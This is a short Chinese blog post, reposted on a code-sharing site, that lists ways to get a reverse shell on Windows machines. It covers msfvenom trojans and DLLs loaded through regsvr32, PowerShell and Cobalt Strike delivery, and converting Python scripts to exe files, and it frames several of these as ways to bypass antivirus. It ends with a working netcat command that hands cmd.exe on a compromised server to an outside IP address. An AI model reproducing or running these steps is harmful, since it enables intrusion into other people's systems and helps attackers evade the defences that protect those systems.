码迷,mamicode.com
首页 > Windows程序 > 详细

Windows反弹shell方法总结

时间:2020-02-16 16:48:38      阅读:449      评论:0      收藏:0      [点我收藏+]

标签:服务   shell   web   shell反弹   str   内存   软件   exe程序   绕过   

一、运行exe程序反弹shell

需要先生成exe木马,然后将exe文件上传到服务器上,最后在服务器上运行该文件。可使用msfvenom生成exe木马。

二、加载dll文件反弹shell

需要先生成dll文件,然后使用regsvr32.exe加载dll。可使用msfvenom生成dll文件。

三、PowerShell反弹shell

通过执行PowerShell代码反弹shell能有效绕过杀毒软件对拦截,因为通常将PowerShell代码直接加载到内存中,不会在磁盘上创建任何恶意文件,所以能绕过杀软的监控。可使用Cobalt Strike的Web脚本投递功能反弹shell。

四、脚本语言反弹shell

可通过运行PHP、Python、Shell等脚本语言程序反弹shell。可使用msfvenom生成各种语言的脚本程序。

五、Python脚本转换成exe反弹shell

将Python脚本转换成exe程序能有效绕过杀毒软件的检测实现免杀。

六、netcat反弹shell

在VPS上监听端口:netcat -l -p 443

在被控服务器上运行:netcat.exe -t -e cmd.exe 16.79.5.26 443

...

Windows反弹shell方法总结

标签:服务   shell   web   shell反弹   str   内存   软件   exe程序   绕过   

原文地址:https://www.cnblogs.com/dgjnszf/p/12317025.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!